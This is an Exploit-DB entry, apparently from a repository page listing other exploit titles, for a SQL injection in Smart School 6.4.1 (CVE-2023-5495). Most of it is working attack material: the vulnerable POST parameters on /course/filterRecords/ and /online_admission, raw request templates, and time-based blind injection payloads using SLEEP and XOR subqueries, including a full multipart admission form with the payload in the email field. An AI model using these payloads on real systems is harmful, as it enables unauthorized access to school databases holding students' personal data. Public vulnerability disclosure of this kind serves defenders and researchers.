a44e138f78
28 changes to exploits/shellcodes/ghdb Casdoor < v1.331.0 - '/api/set-password' CSRF GL-iNet MT6000 4.5.5 - Arbitrary File Download Axigen < 10.5.7 - Persistent Cross-Site Scripting Blood Bank v1.0 - Stored Cross Site Scripting (XSS) CE Phoenix v1.0.8.20 - Remote Code Execution Daily Habit Tracker 1.0 - Broken Access Control Daily Habit Tracker 1.0 - SQL Injection Daily Habit Tracker 1.0 - Stored Cross-Site Scripting (XSS) E-INSUARANCE v1.0 - Stored Cross Site Scripting (XSS) Elementor Website Builder < 3.12.2 - Admin+ SQLi Employee Management System 1.0 - _txtfullname_ and _txtphone_ SQL Injection Employee Management System 1.0 - _txtusername_ and _txtpassword_ SQL Injection (Admin Login) FoF Pretty Mail 1.1.2 - Local File Inclusion (LFI) FoF Pretty Mail 1.1.2 - Server Side Template Injection (SSTI) Gibbon LMS v26.0.00 - SSTI vulnerability Hospital Management System v1.0 - Stored Cross Site Scripting (XSS) LeptonCMS 7.0.0 - Remote Code Execution (RCE) (Authenticated) Online Hotel Booking In PHP 1.0 - Blind SQL Injection (Unauthenticated) OpenCart Core 4.0.2.3 - 'search' SQLi Petrol Pump Management Software v1.0 - Remote Code Execution (RCE) Simple Backup Plugin Python Exploit 2.7.10 - Path Traversal Smart School 6.4.1 - SQL Injection Wordpress Plugin - Membership For WooCommerce < v2.1.7 - Arbitrary File Upload to Shell (Unauthenticated) ASUS Control Center Express 01.06.15 - Unquoted Service Path Microsoft Windows 10.0.17763.5458 - Kernel Privilege Escalation Microsoft Windows Defender - Detection Mitigation Bypass TrojanWin32Powessere.G Rapid7 nexpose - 'nexposeconsole' Unquoted Service Path
112 lines
No EOL
7.1 KiB
Text
112 lines
No EOL
7.1 KiB
Text
# Exploit Title: Smart School 6.4.1 - SQL Injection
|
|
# Exploit Author: CraCkEr
|
|
# Date: 28/09/2023
|
|
# Vendor: QDocs - qdocs.net
|
|
# Vendor Homepage: https://smart-school.in/
|
|
# Software Link: https://demo.smart-school.in/
|
|
# Tested on: Windows 10 Pro
|
|
# Impact: Database Access
|
|
# CVE: CVE-2023-5495
|
|
# CWE: CWE-89 - CWE-74 - CWE-707
|
|
|
|
|
|
## Greetings
|
|
|
|
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
|
|
CryptoJob (Twitter) twitter.com/0x0CryptoJob
|
|
|
|
|
|
## Description
|
|
|
|
SQL injection attacks can allow unauthorized access to sensitive data, modification of
|
|
data and crash the application or make it unavailable, leading to lost revenue and
|
|
damage to a company's reputation.
|
|
|
|
|
|
Path: /course/filterRecords/
|
|
|
|
POST Parameter 'searchdata[0][title]' is vulnerable to SQLi
|
|
POST Parameter 'searchdata[0][searchfield]' is vulnerable to SQLi
|
|
POST Parameter 'searchdata[0][searchvalue]' is vulnerable to SQLi
|
|
|
|
searchdata[0][title]=[SQLi]&searchdata[0][searchfield]=[SQLi]&searchdata[0][searchvalue]=[SQLi]
|
|
|
|
-------------------------------------------
|
|
POST /course/filterRecords/ HTTP/1.1
|
|
|
|
|
|
searchdata%5B0%5D%5Btitle%5D=rating&searchdata%5B0%5D%5Bsearchfield%5D=sleep(5)%23&searchdata%5B0%5D%5Bsearchvalue%5D=3
|
|
|
|
-------------------------------------------
|
|
|
|
searchdata[0][title]=[SQLi]&searchdata[0][searchfield]=[SQLi]&searchdata[0][searchvalue]=[SQLi]&searchdata[1][title]=[SQLi]&searchdata[1][searchfield]=[SQLi]&searchdata[1][searchvalue]=[SQLi]
|
|
|
|
|
|
Path: /course/filterRecords/
|
|
|
|
|
|
POST Parameter 'searchdata[0][title]' is vulnerable to SQLi
|
|
POST Parameter 'searchdata[0][searchfield]' is vulnerable to SQLi
|
|
POST Parameter 'searchdata[0][searchvalue]' is vulnerable to SQLi
|
|
POST Parameter 'searchdata[1][title]' is vulnerable to SQLi
|
|
POST Parameter 'searchdata[1][searchfield]' is vulnerable to SQLi
|
|
POST Parameter 'searchdata[1][searchvalue]' is vulnerable to SQLi
|
|
|
|
---
|
|
Parameter: searchdata[0][title] (POST)
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
|
|
Payload: searchdata[0][title]=Price&searchdata[0][searchfield]=1 or sleep(5)#&searchdata[0][searchvalue]=free&searchdata[1][title]=Sales&searchdata[1][searchfield]=sales&searchdata[1][searchvalue]=low
|
|
|
|
Parameter: searchdata[0][searchfield] (POST)
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
|
|
Payload: searchdata[0][title]=Price&searchdata[0][searchfield]=1 or sleep(5)#&searchdata[0][searchvalue]=free&searchdata[1][title]=Sales&searchdata[1][searchfield]=sales&searchdata[1][searchvalue]=low
|
|
|
|
Parameter: searchdata[0][searchvalue] (POST)
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
|
|
Payload: searchdata[0][title]=Price&searchdata[0][searchfield]=1 or sleep(5)#&searchdata[0][searchvalue]=free&searchdata[1][title]=Sales&searchdata[1][searchfield]=sales&searchdata[1][searchvalue]=low
|
|
|
|
Parameter: searchdata[1][title] (POST)
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
|
|
Payload: searchdata[0][title]=Price&searchdata[0][searchfield]=1 or sleep(5)#&searchdata[0][searchvalue]=free&searchdata[1][title]=Sales'XOR(SELECT(0)FROM(SELECT(SLEEP(5)))a)XOR'Z&searchdata[1][searchfield]=sales&searchdata[1][searchvalue]=low
|
|
|
|
Parameter: searchdata[1][searchvalue] (POST)
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
|
|
Payload: searchdata[0][title]=Price&searchdata[0][searchfield]=1 or sleep(5)#&searchdata[0][searchvalue]=free&searchdata[1][title]=Sales&searchdata[1][searchfield]=sales&searchdata[1][searchvalue]=low'XOR(SELECT(0)FROM(SELECT(SLEEP(7)))a)XOR'Z
|
|
---
|
|
|
|
|
|
-------------------------------------------
|
|
POST /course/filterRecords/ HTTP/1.1
|
|
|
|
|
|
searchdata[0][title]=[SQLi]&searchdata[0][searchfield]=[SQLi]&searchdata[0][searchvalue]=[SQLi]&searchdata[1][title]=[SQLi]&searchdata[1][searchfield]=[SQLi]&searchdata[1][searchvalue]=[SQLi]
|
|
-------------------------------------------
|
|
|
|
|
|
|
|
Path: /online_admission
|
|
|
|
---
|
|
Parameter: MULTIPART email ((custom) POST)
|
|
Type: time-based blind
|
|
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
|
|
Payload: -----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="class_id"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="section_id"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="firstname"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="lastname"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="gender"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="dob"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="mobileno"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="email"\n\n'XOR(SELECT(0)FROM(SELECT(SLEEP(5)))a)XOR'Z\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="file"; filename=""\nContent-Type: application/octet-stream\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="father_name"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="mother_name"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="guardian_name"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="guardian_relation"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="guardian_email"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="guardian_pic"; filename=""\nContent-Type: application/octet-stream\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="guardian_phone"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="guardian_occupation"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="guardian_address"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="current_address"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="permanent_address"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="adhar_no"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="samagra_id"\n\n\n-----------------------------320375734131102816923531485385\nContent-Disposition: form-data; name="previous_school"\n\n\n-----------------------------320375734131102816923531485385--
|
|
---
|
|
|
|
POST Parameter 'email' is vulnerable to SQLi
|
|
|
|
POST /online_admission HTTP/1.1
|
|
|
|
-----------------------------320375734131102816923531485385
|
|
Content-Disposition: form-data; name="email"
|
|
|
|
*[SQLi]
|
|
-----------------------------320375734131102816923531485385
|
|
|
|
|
|
[-] Done |